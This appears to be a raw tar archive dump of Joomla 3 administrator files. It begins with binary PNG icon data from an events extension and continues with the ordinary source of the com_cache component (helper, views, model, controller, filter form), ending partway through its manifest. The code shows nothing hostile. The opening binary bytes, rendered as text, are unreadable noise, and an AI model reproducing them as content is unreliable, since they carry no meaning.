o���d�j[��������ƺ*�������#�u�Gc���Q�<>��n�D�҃ro��v�w�����s�1ɉ���{����l�,|u��b�-�+2����w~:5UB"ረg�D*}}�����������
dz�|��0��
�p��¼rHhq�c��0�S����Ԡ�z�"[۱g�	Хٖ�_��UU��bZ����ʹZ��q;�I�ʘ�Co$Si������/Y,GN\UU��ޒ�a�k���ͥ��av�<H�u�(�b]�azM�j�fcq�Z�2=�.0�
,�~))��{fq�qO#*;v���~�
{�A�w���v6�dQ[�
���	F)�8�l�	�X
fd_	#�����p��cpr�Aq�~}�f���ٺE�/��&���I�ǥ\?pc�p�Q#q{���i�dCE���K�	|�����ܚuK/��$�d�A8=��`�iڍ�Q�	 �x�X���^^پ`����t� ,�|Q"�ZQ����%3&BA�RmE���c���%K9\H㠌].�^Dl��al[�L1�\��Y-eQ0��HX�����X(�څ�1�`��]t�I���P��0�vQ����̵�>�Л]�$���⏂H��ʃW����:>�ᇻ��D��t8!n� ����$v���Ȁ$�f�?�<k�"�5���L�׳\�����v�Il��`�z��1te�pUA	8�v@1�ك�`QRF���>��+h��K��+���S��<i�?M\SJ�x�V�_�Hv��<�]��3�oɏ�E��꿟�[m�̤�+0R�ͩ�M����>��Y8!G*�}M8zY�Ƅ)!8�r>er���l*�QC<;�&�gv�X����%�IH7Cf���j�e^�[�s�M�M�!8�r���u;��QI����B׹8�,��q����� �/��C��-�7�ޜ���m0w񜞜�ܜ�N���&��B�j�}U��3�o���wJ�ά�l<��n�ΰ<���p�U���W��ch�eG����y�c� XW�.'^N)
=��W)��O[v���kv3����B?������V�st��-���6v�~�%�O9�lҮӍ�['�4�� ������G|<dϡc���D�ά��X�L
����X'�&�(^>��ص�S��:v8%#���e���}�Nn��e��V@|Ɍe�rc)u��z���VP�H�-/Z�K1�'��i�+�R�׍+��'^����z���\�%���]8G�bCJO
ln���MCeA�i<�Txf�6��;e=�����]���q�mc�)b�pŭe��ܤ���ԭ�3�sdܚ�7o����:��3���XG�n���K�
I`G	�.{V�#�A�
���!�ޘ�ٰ�vyd�)At z�q��N�Q��
!���&^�?E@�("sm�UL���nv/߽辉��OR'�������.L��N�*�P��/���I�D!lbQV4]�N�(U��:�D���ך�w����HG|��qY����G��d3	���݇���݊C-��D�A��	�:'
v�D�"a@��Ə"�B�Ɨ����M!6ԁ�����?Ը���g��尌��7	}�P_.����.q����,�SnwJ�Pm&�n�&�4~P���@���7��f[�z[�'�,QsXm��.�%�?*pY�;��׍���?�5q9
u���ߌ�C�wŁ�I�zn_�,��{���C�����9ُ�o��pL�5vB[�&؉avx��bB�}�@��O��s8�<�x�.IEND�B`�com_icagenda/liveupdate/assets/current-32.png000060400000003416152455305300015215 0ustar00�PNG


IHDR  szz�	pHYs���IDATX	ŖPT���}����쏷��n�!AM�a�C�$m"t��&hLm"�2��)���d���4�i���)�G�8qL�?�Ѡ�
��rY�Dx�xwo�}�dA4��zw��w�;s?�s��]D)�{ٸ{	g�.�V�0�t�-�ݺ������������
������u�u+�XwE܀���op��O�=�_����f��<P
��h�^o�+�*�g7��`sH��9�Dk(ay�'a,|�\�T���*����{��*ti��_����P�jI�`v~χ7�S�p�*(�~//bZ�����R~dJ�G�/���3ჴy�%Д���!>yU�2�̹��+ޠ��m�f85���?a*�:�A�rv�����_���l�^M�[��Y��M����3�RF^�����pj�tE�Z�Xo��?w<�Z�s��&Sq��г�Ϩ��[d�[�Y��p~��,c�3۔�x9�s���Vp�;��ȁ�,�9�����]9���ӯ�o���-{�h��e��Rli���;
���4�EF�"�Z��h�O2x�g�i�2R��$�k���@��@/������γ�~A���2�4��P-ږb��5��cCz��d�����\4�+"j���}Sc�[�7;s��/4��8s�.���f��MO�'~��Q�t;m�_E�#Z��PllX�M��u�̪D���s�(�?
��[<���^�N�����n�JInc�}40\�)c�s��:\�D8;}��ݠ�tgՓ�0v�Aq�c��o=�¨���{������J-FrX&��GDA�^Ψ"X|w��ڪXB�V�A�9�$ÿJ�+s��W+�a��y�|�#�`5Z���O��p�
�w3���5�kLzE|���,G���P�-KP̀a�0
�U�:)�
?�0ы�z��?\����lC�2I'xQ���~��`M�ȕc�|ח�n}1l��\�	#D2�S|��t.�e<8�	I3.�� UDE89R��\��w�靅��t���0�|P�#�`�h%�Z&qGS���S���E�Ů9��6��|�[k+2,Y����0q�Jqa�Phf�vr�J�� B	GB��`H	`�Ld�����i��1�r�l�p&$Z�r"�R�Po��]�$M'L�e8?��Q0b#�T֪�E'ѱ�%��s0L�"��b1+�#�7�9�N.���U42��b=��R�%�lB���Mzþ�-u�	�x������
�ȋ��H�"���L��a����^Q�Ty4��;=�
�F`��4����#��v}Y�d��Y��e�4H2@T���a���p��t������.*ȭ�,���LĬm�&뙈�sG*`XW��ɞO�MMaI��[�*���9�	V��?�Ow�qor�Xg>p|~�d�ݮ��YƲ����~�V��=��SZ�"��a����T��(��
����.���o�|���p��VB��i��G��D����r��/l�r��'�ď�A�}�]�θ]���W`��5(���N��j��|~S�s���U=;�R^�1�<}��}���źy�߅�ճ�Q�J����|αw��oz_�����s�~�?ï��EnA�5�;O�;�:}�:�FGm錄m�O�@p��Íc���w2�i����`Αl1<m�,�p�6�<�
]@w׼��IEND�B`�com_icagenda/liveupdate/assets/update-32.png000060400000003120152455305300015005 0ustar00�PNG


IHDR  szz�	pHYs��IDATX	�W[lU�Μ��K�Q�o�R"�b0��& �/ĤM|��'�>h�t��4���BbL4��'i����(!1�z#U
�Жnﻳ3��?��������̜�}����9����Z������Xu�9
Ӿ	%�L�Č�.���6';��DV6l@�p0
@~Hr��4�����Vo�PJ�Rml@2l��M�8�A	��Ri����c �TTA�T�P����B:�`#Ќ��~؋�	�%�"�\���F�<�-!c��f�Ad��Ԉ���p eY�(�����S�$���-�@�
a�+�$�bZ��5^�TgyM5�5)���NK���
l"	Y�-� R�f�R�00k8����D@��!2	k	����I� !]��Q�9P�(�EU~k"۰nk��������I���b#?��j?uc����p�<0=�l�m)�UC��xmI�h�%��N�~�	��#��U��P��n�:)=RO�H�<��Ⱦ;iu+`Aj&$�܆�E޳�B��ŝ �5R�2�Տo빼:�tv�
R��#��v9FD��`���2��@qGTm�@Ŷr��}Q
�G�<Պ�-}�Z��|�hM���"�<�'�(eR(�w	LE[���n!��^��+�1��U��u�=Mk��T��Gv)}��r�QBX⏂���X�kd��S�]�T�-�&��|`�Q���.�������`�S[v��7ٛwΘ�
�W��ptE��׌��1
	���%S�Jq޼��]�:V��҉r;K�	�˰�������P����s�^|����ܝHQn��e��"���f�i��q�Œ�t�K�x`+OE��Yքp� �D?F�	�VS�����E�`$a>6f�n?�s�=��[:�d�H0�H���ˎOt� g�8w���"�dO(�@Iج|v�S�K��(������1$��Z����PZ��$�>p�6�i�H��!	z1��F/C��6£/
<� �I���y㐴����п�XP���Lҁ�����(�$E_��~�mz]gU�$�I���yC�V����4к>�QA�T��!���l>��"�E�w/���[H�b�H�+�h{u��wX�z��2$s��B��U�qVPP���a]�x���9��B�I��/�/�3���N�4|[�\5r#�ZSꑱH�y�����2��J�c�
��$^�o;���'�BǞ�����M�s�Dg�Gϋ�y�1�>�.�D�o.X�$a��'f�R^�'��C�T�$1�e*M2LJ��oI�?��p����x��=�1�A<(�X�nc�_�a�|cN�w�[�_������p��F�@�DŽ��p�_U�$-V��J�|P^�$�a����	��i���=��C� �R�,,�[U�xY�D�J|��3xƜp�H�yzΘ���5+��@��.��o/����$>L6�XX�籽�	؅��c[±m'�:+0�j���D�DZ��wF��^-ʷ��k
xS�m��4�‚IEND�B`�com_icagenda/liveupdate/assets/ok-24.png000060400000002367152455305300014151 0ustar00�PNG


IHDR�w=�	pHYs���IDATH
��mLSW���mo�@h�ka����P4$(ʋ���ɾ��܊K�d#�`�lֲ����1gt&��e��0�`A	hGA���!Ph������K[/l��q�{�9���?��B�X�qü@z=�06†���_��#`��q��^8Nh��%B�G�9�����OGTd\a��~]�'@Myk��G�>D���sx'���y��;��lax����R��d��ٹŹ*+�`6<�\(�(WX�,��i(��*�V�?�5%��-�q�˲�ՉNٯ�N>NoN(T��01%n\�!�P��D8�D~֖$��i�0�p�X�I_�\�l8ה6��3ql
A����w@%<�ϠQ��X�@�i����Zve�fBR�D��,�g��R枦;;5���%�֦��݁�h�Wٗ��D���ӂ"��sP��b����z��o����D)mJd�^�e�NB�5�nPr�Z|ᴴ#�D����Lu��{�M/��d1�a#L�;�e@���_�ڲ�m����Z*��Q�N`h
	������ޘu-ա~�4��d��4��4�6Vm�{(�6����*P�C�<�5�ۏ^Ene;4����i(c�$7��7/�C��p�����.�;4��Iz)��l�?��xd>�e��d�lx&ɒ���qb�Upq�KMUfuSnZ�J�d�?F��N���B�vv�8�0p}��b���m�p�y��{f��:�C9�R�4��$Z�i�:��ް��P(��?n�.��8�u�t������t�!�|p9r'����N�{;���&����&��"JJˀ��al�dy³hZ2��F���H9~�w,�g,��"p�.�B�&U=��14+ӥ	�D.�ʧdZ�$a4��Q~��Jnv�K�v�;(E�nh���i"�܄��b3:52>Q?~e����j�875���@>	�:���[�n�&o�Zւ�X��Q��D��n�05��X,�*h>̅)���|n����a�L�|k��7CőG��_��}��?5��ozC�a=�����k�����[� �8Ru…+X�����Yj-�P�y�AU��{Ρ�B�F�?��q�X<I0>"���鍊����|2���b��/iG�2ar�3�1�����b��}�� ���GO�Z����]4��q�cIEND�B`�com_cache/helpers/cache.php000060400000002542152455305300011664 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Cache component helper.
 *
 * @since  1.6
 */
class CacheHelper
{
	/**
	 * Get a list of filter options for the application clients.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @deprecated  4.0  No replacement.
	 */
	public static function getClientOptions()
	{
		// Build the filter options.
		$options   = array();
		$options[] = JHtml::_('select.option', '0', JText::_('JSITE'));
		$options[] = JHtml::_('select.option', '1', JText::_('JADMINISTRATOR'));

		return $options;
	}

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('JGLOBAL_SUBMENU_CHECKIN'),
			'index.php?option=com_checkin',
			$vName == 'com_checkin'
		);

		JHtmlSidebar::addEntry(
			JText::_('JGLOBAL_SUBMENU_CLEAR_CACHE'),
			'index.php?option=com_cache',
			$vName == 'cache'
		);
		JHtmlSidebar::addEntry(
			JText::_('JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE'),
			'index.php?option=com_cache&view=purge',
			$vName == 'purge'
		);
	}
}
com_cache/views/purge/view.html.php000060400000002605152455305300013353 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Cache component
 *
 * @since  1.6
 */
class CacheViewPurge extends JViewLegacy
{
	/**
	 * Display a view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		JFactory::getApplication()->enqueueMessage(JText::_('COM_CACHE_RESOURCE_INTENSIVE_WARNING'), 'warning');

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(JText::_('COM_CACHE_PURGE_EXPIRED_CACHE'), 'lightning purge');
		JToolbarHelper::custom('purge', 'delete.png', 'delete_f2.png', 'COM_CACHE_PURGE_EXPIRED', false);
		JToolbarHelper::divider();

		if (JFactory::getUser()->authorise('core.admin', 'com_cache'))
		{
			JToolbarHelper::preferences('com_cache');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE');
	}
}
com_cache/views/purge/tmpl/default.xml000060400000000310152455305300014036 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CACHE_PURGE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CACHE_PURGE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_cache/views/purge/tmpl/default.php000060400000001261152455305300014033 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>

<form action="<?php echo JRoute::_('index.php?option=com_cache&view=purge'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
	<p><?php echo JText::_('COM_CACHE_PURGE_INSTRUCTIONS'); ?></p>
	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_cache/views/cache/view.html.php000060400000004235152455305300013275 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Cache component
 *
 * @since  1.6
 */
class CacheViewCache extends JViewLegacy
{
	/**
	 * @var object client object.
	 * @deprecated 4.0
	 */
	protected $client;

	protected $data;

	protected $pagination;

	protected $state;

	/**
	 * Display a view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->data          = $this->get('Data');
		$this->pagination    = $this->get('Pagination');
		$this->total         = $this->get('Total');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$state = $this->get('State');

		if ($state->get('client_id') == 1)
		{
			JToolbarHelper::title(JText::_('COM_CACHE_CLEAR_CACHE_ADMIN_TITLE'), 'lightning clear');
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_CACHE_CLEAR_CACHE_SITE_TITLE'), 'lightning clear');
		}

		JToolbarHelper::custom('delete', 'delete.png', 'delete_f2.png', 'JTOOLBAR_DELETE', true);
		JToolbarHelper::custom('deleteAll', 'remove.png', 'delete_f2.png', 'JTOOLBAR_DELETE_ALL', false);
		JToolbarHelper::divider();

		if (JFactory::getUser()->authorise('core.admin', 'com_cache'))
		{
			JToolbarHelper::preferences('com_cache');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_SITE_MAINTENANCE_CLEAR_CACHE');

		JHtmlSidebar::setAction('index.php?option=com_cache');
	}
}
com_cache/views/cache/tmpl/default.xml000060400000000310152455305300013757 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CACHE_CACHE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CACHE_CACHE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_cache/views/cache/tmpl/default.php000060400000004766152455305300013771 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo JRoute::_('index.php?option=com_cache'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
	<?php else : ?>
	<div id="j-main-container">
	<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if ($this->total > 0) : ?>
		<table class="table table-striped">
			<thead>
				<tr>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('grid.checkall'); ?>
					</th>
					<th class="title nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_CACHE_GROUP', 'group', $listDirn, $listOrder); ?>
					</th>
					<th width="5%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_CACHE_NUMBER_OF_FILES', 'count', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_CACHE_SIZE', 'size', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="4">
					<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
				<?php
				$i = 0;
				foreach ($this->data as $folder => $item) : ?>
					<tr class="row<?php echo $i % 2; ?>">
						<td>
							<input type="checkbox" id="cb<?php echo $i; ?>" name="cid[]" value="<?php echo $this->escape($item->group); ?>" onclick="Joomla.isChecked(this.checked);" />
						</td>
						<td>
							<label for="cb<?php echo $i; ?>">
								<strong><?php echo $this->escape($item->group); ?></strong>
							</label>
						</td>
						<td>
							<?php echo $item->count; ?>
						</td>
						<td>
							<?php echo JHtml::_('number.bytes', $item->size); ?>
						</td>
					</tr>
				<?php $i++; endforeach; ?>
			</tbody>
		</table>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_cache/models/cache.php000060400000014544152455305300011512 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Utilities\ArrayHelper;

/**
 * Cache Model
 *
 * @since  1.6
 */
class CacheModelCache extends JModelList
{
	/**
	 * An Array of CacheItems indexed by cache group ID
	 *
	 * @var Array
	 */
	protected $_data = array();

	/**
	 * Group total
	 *
	 * @var integer
	 */
	protected $_total = null;

	/**
	 * Pagination object
	 *
	 * @var object
	 */
	protected $_pagination = null;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   3.5
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'group',
				'count',
				'size',
				'client_id',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   Field for ordering.
	 * @param   string  $direction  Direction of ordering.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'group', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));

		// Special case for client id.
		$clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int');
		$clientId = (!in_array($clientId, array (0, 1))) ? 0 : $clientId;
		$this->setState('client_id', $clientId);

		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   3.5
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id	.= ':' . $this->getState('client_id');
		$id	.= ':' . $this->getState('filter.search');

		return parent::getStoreId($id);
	}

	/**
	 * Method to get cache data
	 *
	 * @return array
	 */
	public function getData()
	{
		if (empty($this->_data))
		{
			try
			{
				$cache = $this->getCache();
				$data  = $cache->getAll();

				if ($data && count($data) > 0)
				{
					// Process filter by search term.
					if ($search = $this->getState('filter.search'))
					{
						foreach ($data as $key => $cacheItem)
						{
							if (stripos($cacheItem->group, $search) === false)
							{
								unset($data[$key]);
								continue;
							}
						}
					}

					// Process ordering.
					$listOrder = $this->getState('list.ordering', 'group');
					$listDirn  = $this->getState('list.direction', 'ASC');

					$this->_data = ArrayHelper::sortObjects($data, $listOrder, strtolower($listDirn) === 'desc' ? -1 : 1, true, true);

					// Process pagination.
					$limit = (int) $this->getState('list.limit', 25);

					if ($limit !== 0)
					{
						$start = (int) $this->getState('list.start', 0);

						return array_slice($this->_data, $start, $limit);
					}
				}
				else
				{
					$this->_data = array();
				}
			}
			catch (JCacheExceptionConnecting $exception)
			{
				$this->setError(JText::_('COM_CACHE_ERROR_CACHE_CONNECTION_FAILED'));
				$this->_data = array();
			}
			catch (JCacheExceptionUnsupported $exception)
			{
				$this->setError(JText::_('COM_CACHE_ERROR_CACHE_DRIVER_UNSUPPORTED'));
				$this->_data = array();
			}
		}

		return $this->_data;
	}

	/**
	 * Method to get cache instance.
	 *
	 * @return JCacheController
	 */
	public function getCache($clientId = null)
	{
		$conf = JFactory::getConfig();

		if (is_null($clientId))
		{
			$clientId = $this->getState('client_id');
		}

		$options = array(
			'defaultgroup' => '',
			'storage'      => $conf->get('cache_handler', ''),
			'caching'      => true,
			'cachebase'    => (int) $clientId === 1 ? JPATH_ADMINISTRATOR . '/cache' : $conf->get('cache_path', JPATH_SITE . '/cache')
		);

		return JCache::getInstance('', $options);
	}

	/**
	 * Method to get client data.
	 *
	 * @return array
	 *
	 * @deprecated  4.0  No replacement.
	 */
	public function getClient()
	{
		return JApplicationHelper::getClientInfo($this->getState('client_id', 0));
	}

	/**
	 * Get the number of current Cache Groups.
	 *
	 * @return  integer
	 */
	public function getTotal()
	{
		if (empty($this->_total))
		{
			$this->_total = count($this->getData());
		}

		return $this->_total;
	}

	/**
	 * Method to get a pagination object for the cache.
	 *
	 * @return  JPagination
	 */
	public function getPagination()
	{
		if (empty($this->_pagination))
		{
			$this->_pagination = new JPagination($this->getTotal(), $this->getState('list.start'), $this->getState('list.limit'));
		}

		return $this->_pagination;
	}

	/**
	 * Clean out a cache group as named by param.
	 * If no param is passed clean all cache groups.
	 *
	 * @param   string  $group  Cache group name.
	 *
	 * @return  boolean  True on success, false otherwise
	 */
	public function clean($group = '')
	{
		try
		{
			$this->getCache()->clean($group);
		}
		catch (JCacheExceptionConnecting $exception)
		{
			return false;
		}
		catch (JCacheExceptionUnsupported $exception)
		{
			return false;
		}

		Factory::getApplication()->triggerEvent('onAfterPurge', array($group));

		return true;
	}

	/**
	 * Purge an array of cache groups.
	 *
	 * @param   array  $array  Array of cache group names.
	 *
	 * @return  array  Array with errors, if they exist.
	 */
	public function cleanlist($array)
	{
		$errors = array();

		foreach ($array as $group)
		{
			if (!$this->clean($group))
			{
				$errors[] = $group;
			}
		}

		return $errors;
	}

	/**
	 * Purge all cache items.
	 *
	 * @return  boolean  True if successful; false otherwise.
	 */
	public function purge()
	{
		try
		{
			JFactory::getCache('')->gc();
		}
		catch (JCacheExceptionConnecting $exception)
		{
			return false;
		}
		catch (JCacheExceptionUnsupported $exception)
		{
			return false;
		}

		Factory::getApplication()->triggerEvent('onAfterPurge', array());

		return true;
	}
}
com_cache/models/forms/filter_cache.xml000060400000002630152455305300014207 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="client_id"
		type="list"
		onchange="jQuery('#filter_search, select[id^=filter_], #list_fullordering').val('');this.form.submit();"
		filtermode="selector"
		>
		<option value="0">JSITE</option>
		<option value="1">JADMINISTRATOR</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_CACHE_FILTER_SEARCH_LABEL"
			description="COM_CACHE_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			noresults="JGLOBAL_NO_MATCHING_RESULTS"
		/>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="group ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="group ASC">COM_CACHE_HEADING_GROUP_ASC</option>
			<option value="group DESC">COM_CACHE_HEADING_GROUP_DESC</option>
			<option value="count ASC">COM_CACHE_HEADING_COUNT_ASC</option>
			<option value="count DESC">COM_CACHE_HEADING_COUNT_DESC</option>
			<option value="size ASC">COM_CACHE_HEADING_SIZE_ASC</option>
			<option value="size DESC">COM_CACHE_HEADING_SIZE_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_cache/controller.php000060400000007607152455305300011351 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Cache Controller
 *
 * @since  1.6
 */
class CacheController extends JControllerLegacy
{
	/**
	 * Display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		JLoader::register('CacheHelper', JPATH_ADMINISTRATOR . '/components/com_cache/helpers/cache.php');

		// Get the document object.
		$document = JFactory::getDocument();

		// Set the default view name and format from the Request.
		$vName   = $this->input->get('view', 'cache');
		$vFormat = $document->getType();
		$lName   = $this->input->get('layout', 'default', 'string');

		// Get and render the view.
		if ($view = $this->getView($vName, $vFormat))
		{
			switch ($vName)
			{
				case 'purge':
					break;
				case 'cache':
				default:
					$model = $this->getModel($vName);
					$view->setModel($model, true);
					break;
			}

			$view->setLayout($lName);

			// Push document object into the view.
			$view->document = $document;

			// Load the submenu.
			CacheHelper::addSubmenu($this->input->get('view', 'cache'));

			$view->display();
		}
	}

	/**
	 * Method to delete a list of cache groups.
	 *
	 * @return  void
	 */
	public function delete()
	{
		// Check for request forgeries
		$this->checkToken();

		$cid = (array) $this->input->post->get('cid', array(), 'string');

		if (empty($cid))
		{
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_NO_ITEMS_SELECTED'), 'warning');
		}
		else
		{
			$result = $this->getModel('cache')->cleanlist($cid);

			if ($result !== array())
			{
				JFactory::getApplication()->enqueueMessage(JText::sprintf('COM_CACHE_EXPIRED_ITEMS_DELETE_ERROR', implode(', ', $result)), 'error');
			}
			else
			{
				JFactory::getApplication()->enqueueMessage(JText::_('COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_DELETED'), 'message');
			}
		}

		$this->setRedirect('index.php?option=com_cache');
	}

	/**
	 * Method to delete all cache groups.
	 *
	 * @return  void
	 *
	 * @since  3.6.0
	 */
	public function deleteAll()
	{
		// Check for request forgeries
		$this->checkToken();

		$app        = JFactory::getApplication();
		$model      = $this->getModel('cache');
		$allCleared = true;
		$clients    = array(1, 0);

		foreach ($clients as $client)
		{
			$mCache    = $model->getCache($client);
			$clientStr = JText::_($client ? 'JADMINISTRATOR' : 'JSITE') .' > ';

			foreach ($mCache->getAll() as $cache)
			{
				if ($mCache->clean($cache->group) === false)
				{
					$app->enqueueMessage(JText::sprintf('COM_CACHE_EXPIRED_ITEMS_DELETE_ERROR', $clientStr . $cache->group), 'error');
					$allCleared = false;
				}
			}
		}

		if ($allCleared)
		{
			$app->enqueueMessage(JText::_('COM_CACHE_MSG_ALL_CACHE_GROUPS_CLEARED'), 'message');
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_CACHE_MSG_SOME_CACHE_GROUPS_CLEARED'), 'warning');
		}

		$app->triggerEvent('onAfterPurge', array());
		$this->setRedirect('index.php?option=com_cache&view=cache');
	}

	/**
	 * Purge the cache.
	 *
	 * @return  void
	 */
	public function purge()
	{
		// Check for request forgeries
		$this->checkToken();

		if (!$this->getModel('cache')->purge())
		{
			JFactory::getApplication()->enqueueMessage(JText::_('COM_CACHE_EXPIRED_ITEMS_PURGING_ERROR'), 'error');
		}
		else
		{
			JFactory::getApplication()->enqueueMessage(JText::_('COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED'), 'message');
		}

		$this->setRedirect('index.php?option=com_cache&view=purge');
	}
}
com_cache/cache.xml000060400000001642152455305300010233 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_cache</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_CACHE_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>cache.php</filename>
			<filename>config.xml</filename>
